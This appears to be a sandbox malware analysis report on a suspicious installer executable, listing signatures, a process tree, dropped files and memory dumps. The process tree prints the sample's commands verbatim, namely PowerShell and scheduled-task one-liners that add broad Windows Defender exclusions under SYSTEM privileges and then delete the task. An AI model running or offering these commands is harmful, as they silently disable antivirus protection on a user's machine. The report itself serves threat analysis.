Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 05:16

General

  • Target
    install_sint003.exe
  • Size 40.7MB
  • Sample260814-fx4ejav1fv
  • SHA256 25056053227f3383ab7b416eca85d15bf63fd47254912b591e85cf1a3484a2aa
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_sint003.exe
    "C:\Users\Admin\AppData\Local\Temp\install_sint003.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5064
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4276
    • C:\Users\Public\TMo3i6\aO45Nz.exe
      "C:\Users\Public\TMo3i6\aO45Nz.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5308
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:4120
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TMo3i6\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4896
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TMo3i6\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1268
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4436
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:6056
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3768
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1364
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4344
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:8
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:3796
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2392
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:2800
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3208
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:5776
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4824
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:1516
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:3256
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1392
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:1756
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2768
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:5916
                        • C:\Users\Public\TMo3i6\aO45Nz.exe
                          "C:\Users\Public\TMo3i6\aO45Nz.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2624
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TMo3i6" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:928
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TMo3i6" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4512
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3100
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4164
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2480
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3904
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:6064
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1436
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2452

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                UxEnhance64.dll

                                • Path C:\Users\Public\TMo3i6\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 67890cf125e9f7412df2b1c789a41733feda3ceccfaa659ac9de3e35c701c3b3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                aO45Nz.exe

                                • Path C:\Users\Public\TMo3i6\aO45Nz.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\TMo3i6\adoresd.dat
                                • Size 4.7MB
                                • SHA256 b251683d4309e6a6772a0a94974e91e056f3076c5765eeedffb8608cc1acd573
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\TMo3i6\msadox.tb
                                • Size 8KB
                                • SHA256 0f997c290687bffbb393691b24563816471c0ca12f4bf6270c161be0ef9cd7f4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2624-586-0x000002B0F5680000-0x000002B0F5F11000-memory.dmp

                                memory/2624-590-0x00007FF97FBD0000-0x00007FF97FBD2000-memory.dmp

                                memory/2624-587-0x000002B0F5680000-0x000002B0F5F11000-memory.dmp

                                memory/2624-588-0x000002B0F5680000-0x000002B0F5F11000-memory.dmp

                                memory/2624-589-0x000002B0F5680000-0x000002B0F5F11000-memory.dmp

                                memory/2624-582-0x000002B0F5680000-0x000002B0F5F11000-memory.dmp

                                memory/2624-581-0x00007FF97FBE0000-0x00007FF97FBE2000-memory.dmp

                                memory/2624-579-0x000002B0F5680000-0x000002B0F5F11000-memory.dmp

                                memory/2624-576-0x00007FF95E3C0000-0x00007FF95E8DE000-memory.dmp

                                memory/4120-611-0x0000021CDD920000-0x0000021CDD92A000-memory.dmp

                                memory/4120-609-0x0000021CF5E50000-0x0000021CF5F02000-memory.dmp

                                memory/4120-608-0x0000021CDD900000-0x0000021CDD91E000-memory.dmp

                                memory/4120-604-0x0000021CDD780000-0x0000021CDD7A2000-memory.dmp

                                memory/5064-525-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                memory/5064-0-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                memory/5064-526-0x00007FF9771C0000-0x00007FF9771D2000-memory.dmp

                                memory/5064-503-0x00007FF9771C0000-0x00007FF9771D2000-memory.dmp

                                memory/5064-1-0x00000000004E0000-0x00000000004EC000-memory.dmp

                                memory/5308-547-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-542-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-566-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-568-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-570-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-548-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-553-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-546-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-549-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-561-0x0000019D0CB50000-0x0000019D0CBDA000-memory.dmp

                                memory/5308-562-0x0000019D0CB50000-0x0000019D0CBDA000-memory.dmp

                                memory/5308-541-0x00007FF97FBE0000-0x00007FF97FBE2000-memory.dmp

                                memory/5308-539-0x0000019D0C1D0000-0x0000019D0CA61000-memory.dmp

                                memory/5308-564-0x0000019D0CB50000-0x0000019D0CBDA000-memory.dmp

                                memory/5308-563-0x0000019D0CB50000-0x0000019D0CBDA000-memory.dmp

                                memory/5308-534-0x00007FF95E3C0000-0x00007FF95E8DE000-memory.dmp

                                memory/5308-533-0x00007FF97FBD0000-0x00007FF97FBD2000-memory.dmp

                                memory/5308-559-0x0000019D0CA70000-0x0000019D0CABE000-memory.dmp